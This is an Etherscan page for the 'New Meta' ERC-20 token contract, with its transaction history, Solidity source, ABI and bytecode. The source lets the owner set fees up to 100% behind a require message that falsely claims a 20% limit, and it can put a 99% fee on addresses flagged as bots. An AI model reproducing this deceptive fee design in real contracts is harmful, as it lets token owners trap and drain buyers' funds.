ETH Price: $3,072.03 (+2.71%)
Gas: 4 Gwei

Contract

0x3928f3056fE3f44D8fb4a14670148633bb2EF6eb
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Approve190738472024-01-24 3:33:23167 days ago1706067203IN
0x3928f305...3bb2EF6eb
0 ETH0.0007373615.6304013
Approve190738442024-01-24 3:32:47167 days ago1706067167IN
0x3928f305...3bb2EF6eb
0 ETH0.0010313621.86256444
Approve190738412024-01-24 3:32:11167 days ago1706067131IN
0x3928f305...3bb2EF6eb
0 ETH0.0007378115.63993034
Approve190737732024-01-24 3:18:35167 days ago1706066315IN
0x3928f305...3bb2EF6eb
0 ETH0.0009909621.00620525
Approve190737682024-01-24 3:17:35167 days ago1706066255IN
0x3928f305...3bb2EF6eb
0 ETH0.0010177221.57337416
Approve190737682024-01-24 3:17:35167 days ago1706066255IN
0x3928f305...3bb2EF6eb
0 ETH0.0010177221.57337416
Approve190737682024-01-24 3:17:35167 days ago1706066255IN
0x3928f305...3bb2EF6eb
0 ETH0.0010177221.57337416
Approve190737682024-01-24 3:17:35167 days ago1706066255IN
0x3928f305...3bb2EF6eb
0 ETH0.0010177221.57337416
Approve190737622024-01-24 3:16:23167 days ago1706066183IN
0x3928f305...3bb2EF6eb
0 ETH0.0011061423.44764278
Approve190737332024-01-24 3:10:35167 days ago1706065835IN
0x3928f305...3bb2EF6eb
0 ETH0.0009302519.71916266
Approve188358752023-12-21 17:57:11201 days ago1703181431IN
0x3928f305...3bb2EF6eb
0 ETH0.0020033342.4660977
Approve188274522023-12-20 13:35:23202 days ago1703079323IN
0x3928f305...3bb2EF6eb
0 ETH0.0032500368.89310282
Approve188271732023-12-20 12:38:59202 days ago1703075939IN
0x3928f305...3bb2EF6eb
0 ETH0.00564802119.72488151
Renounce Ownersh...188269372023-12-20 11:51:11202 days ago1703073071IN
0x3928f305...3bb2EF6eb
0 ETH0.001254354.59917179
Set Transaction ...188269152023-12-20 11:46:35202 days ago1703072795IN
0x3928f305...3bb2EF6eb
0 ETH0.0020140849.51410535
Set Transaction ...188269132023-12-20 11:46:11202 days ago1703072771IN
0x3928f305...3bb2EF6eb
0 ETH0.0026229553.03728595
Approve188269132023-12-20 11:46:11202 days ago1703072771IN
0x3928f305...3bb2EF6eb
0 ETH0.0026388455.93728595
Approve188268932023-12-20 11:42:11202 days ago1703072531IN
0x3928f305...3bb2EF6eb
0 ETH0.0024475751.88294955
Approve188268912023-12-20 11:41:47202 days ago1703072507IN
0x3928f305...3bb2EF6eb
0 ETH0.0024152351.19738336
Approve188268712023-12-20 11:37:47202 days ago1703072267IN
0x3928f305...3bb2EF6eb
0 ETH0.0024027250.93224069
Approve188268642023-12-20 11:36:23202 days ago1703072183IN
0x3928f305...3bb2EF6eb
0 ETH0.0031117265.96128219
Approve188268512023-12-20 11:33:47202 days ago1703072027IN
0x3928f305...3bb2EF6eb
0 ETH0.0026344955.84513814
Approve188268472023-12-20 11:32:59202 days ago1703071979IN
0x3928f305...3bb2EF6eb
0 ETH0.0026554556.28936823
Set Transaction ...188268192023-12-20 11:27:23202 days ago1703071643IN
0x3928f305...3bb2EF6eb
0 ETH0.0025752153.28948263
Approve188268152023-12-20 11:26:35202 days ago1703071595IN
0x3928f305...3bb2EF6eb
0 ETH0.0024832652.63934645
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block From To Value
188270272023-12-20 12:09:35202 days ago1703074175
0x3928f305...3bb2EF6eb
0.02093026 ETH
188270272023-12-20 12:09:35202 days ago1703074175
0x3928f305...3bb2EF6eb
0.02093026 ETH
188269662023-12-20 11:56:59202 days ago1703073419
0x3928f305...3bb2EF6eb
0.02245723 ETH
188269662023-12-20 11:56:59202 days ago1703073419
0x3928f305...3bb2EF6eb
0.02245723 ETH
188269552023-12-20 11:54:47202 days ago1703073287
0x3928f305...3bb2EF6eb
0.02379682 ETH
188269552023-12-20 11:54:47202 days ago1703073287
0x3928f305...3bb2EF6eb
0.02379682 ETH
188269442023-12-20 11:52:35202 days ago1703073155
0x3928f305...3bb2EF6eb
0.02563625 ETH
188269442023-12-20 11:52:35202 days ago1703073155
0x3928f305...3bb2EF6eb
0.02563625 ETH
188269352023-12-20 11:50:47202 days ago1703073047
0x3928f305...3bb2EF6eb
0.02736329 ETH
188269352023-12-20 11:50:47202 days ago1703073047
0x3928f305...3bb2EF6eb
0.02736329 ETH
188269342023-12-20 11:50:35202 days ago1703073035
0x3928f305...3bb2EF6eb
0.02921047 ETH
188269342023-12-20 11:50:35202 days ago1703073035
0x3928f305...3bb2EF6eb
0.02921047 ETH
188269292023-12-20 11:49:35202 days ago1703072975
0x3928f305...3bb2EF6eb
0.03126417 ETH
188269292023-12-20 11:49:35202 days ago1703072975
0x3928f305...3bb2EF6eb
0.03126417 ETH
188269292023-12-20 11:49:35202 days ago1703072975
0x3928f305...3bb2EF6eb
0.03346031 ETH
188269292023-12-20 11:49:35202 days ago1703072975
0x3928f305...3bb2EF6eb
0.03346031 ETH
188269072023-12-20 11:44:59202 days ago1703072699
0x3928f305...3bb2EF6eb
0.03312804 ETH
188269072023-12-20 11:44:59202 days ago1703072699
0x3928f305...3bb2EF6eb
0.03312804 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03516631 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03516631 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03727804 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03727804 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03962679 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.03962679 ETH
188268962023-12-20 11:42:47202 days ago1703072567
0x3928f305...3bb2EF6eb
0.04225315 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
NEW

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-20
*/

/**
This is the New Meta $NEW

Pushing the limit

https://t.me/NewMeta_ERC

https://twitter.com/NewMeta_ERC


*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function  renounceOwnership() public onlyOwner {
        owner = address(0); 
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract NEW is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = 'New Meta';
    string private constant _symbol = 'NEW';
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 1000000000000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) private isBot;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 1;
    uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000;
    uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 1000;
    uint256 private burnFee = 0;
    uint256 private totalFee = 3000;
    uint256 private sellFee = 5000;
    uint256 private transferFee = 5000;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = 0x4F8C849087f0053dE7c8530F7F03CeFA0958cc2a; 
    address internal marketing_receiver = 0x4F8C849087f0053dE7c8530F7F03CeFA0958cc2a;
    address internal liquidity_receiver = 0x4F8C849087f0053dE7c8530F7F03CeFA0958cc2a;
    uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000;
    uint256 public _maxSellAmount = ( _totalSupply * 300 ) / 10000;
    uint256 public _maxWalletToken = ( _totalSupply * 300 ) / 10000;

    constructor() Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());
        router = _router; pair = _pair;
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function OpenTrading() external onlyOwner {tradingAllowed = true;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold;
    }

    function setContractSwap(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner {
        swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); 
        minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000));
    }

    function setTransactionRequire(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner {
        liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans;
        require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee cannot be more than 20%");
    }

    function setTransactionLimit(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner {
        uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000);
        _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%");
    }

    function setInternalAddresses(address _marketing, address _liquidity, address _development) external onlyOwner {
        marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development;
        isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true;
    }

    function setBot(address[] calldata addresses, bool _enabled) external onlyOwner {
        for(uint i=0; i < addresses.length; i++){
        isBot[addresses[i]] = _enabled; }
    }

    function manualSwap() external onlyOwner {
        swapAndLiquify(swapThreshold);
    }

    function rescueERC20(address _address, uint256 percent) external onlyOwner {
        uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
        IERC20(_address).transfer(development_receiver, _amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setInternalAddresses","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTransactionLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setTransactionRequire","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a62000014919062000908565b64e8d4a5100062000026919062000959565b6001556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506001600a55620186a06103e86001546200007a919062000959565b620000869190620009d3565b600b55620186a0600a6001546200009e919062000959565b620000aa9190620009d3565b600c556000600d556000600e556103e8600f556000601055610bb8601155611388601255611388601355612710601455734f8c849087f0053de7c8530f7f03cefa0958cc2a601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734f8c849087f0053de7c8530f7f03cefa0958cc2a601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550734f8c849087f0053de7c8530f7f03cefa0958cc2a601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061271060c8600154620001ed919062000959565b620001f99190620009d3565b60185561271061012c60015462000211919062000959565b6200021d9190620009d3565b60195561271061012c60015462000235919062000959565b620002419190620009d3565b601a553480156200025157600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000321919062000a75565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000389573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003af919062000a75565b6040518363ffffffff1660e01b8152600401620003ce92919062000ab8565b6020604051808303816000875af1158015620003ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000414919062000a75565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200075e919062000af6565b60405180910390a3505062000b13565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007fc57808604811115620007d457620007d36200076e565b5b6001851615620007e45780820291505b8081029050620007f4856200079d565b9450620007b4565b94509492505050565b600082620008175760019050620008ea565b81620008275760009050620008ea565b81600181146200084057600281146200084b5762000881565b6001915050620008ea565b60ff84111562000860576200085f6200076e565b5b8360020a9150848211156200087a57620008796200076e565b5b50620008ea565b5060208310610133831016604e8410600b8410161715620008bb5782820a905083811115620008b557620008b46200076e565b5b620008ea565b620008ca8484846001620007aa565b92509050818404811115620008e457620008e36200076e565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200091582620008f1565b91506200092283620008fb565b9250620009517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000805565b905092915050565b60006200096682620008f1565b91506200097383620008f1565b92508282026200098381620008f1565b915082820484148315176200099d576200099c6200076e565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009e082620008f1565b9150620009ed83620008f1565b92508262000a0057620009ff620009a4565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a3d8262000a10565b9050919050565b62000a4f8162000a30565b811462000a5b57600080fd5b50565b60008151905062000a6f8162000a44565b92915050565b60006020828403121562000a8e5762000a8d62000a0b565b5b600062000a9e8482850162000a5e565b91505092915050565b62000ab28162000a30565b82525050565b600060408201905062000acf600083018562000aa7565b62000ade602083018462000aa7565b9392505050565b62000af081620008f1565b82525050565b600060208201905062000b0d600083018462000ae5565b92915050565b613a2b8062000b236000396000f3fe6080604052600436106101855760003560e01c806370a08231116100d15780638cd4426d1161008a578063a8aa1b3111610064578063a8aa1b3114610555578063a9059cbb14610580578063dd62ed3e146105bd578063dfa3a2e3146105fa5761018c565b80638cd4426d146104d85780639213c3581461050157806395d89b411461052a5761018c565b806370a08231146103d8578063715018a61461041557806378109e541461042c5780637cca52fe146104575780637d1db4a514610482578063893d20e8146104ad5761018c565b80632f54bf6e1161013e5780633f4218e0116101185780633f4218e01461034457806348ff2b8b1461038157806351bc3c85146103aa57806351cd7cc3146103c15761018c565b80632f54bf6e146102b3578063313ce567146102f057806339efcf9e1461031b5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f95780631b5faebb146102245780632331777d1461024d57806323b872dd146102765761018c565b3661018c57005b600080fd5b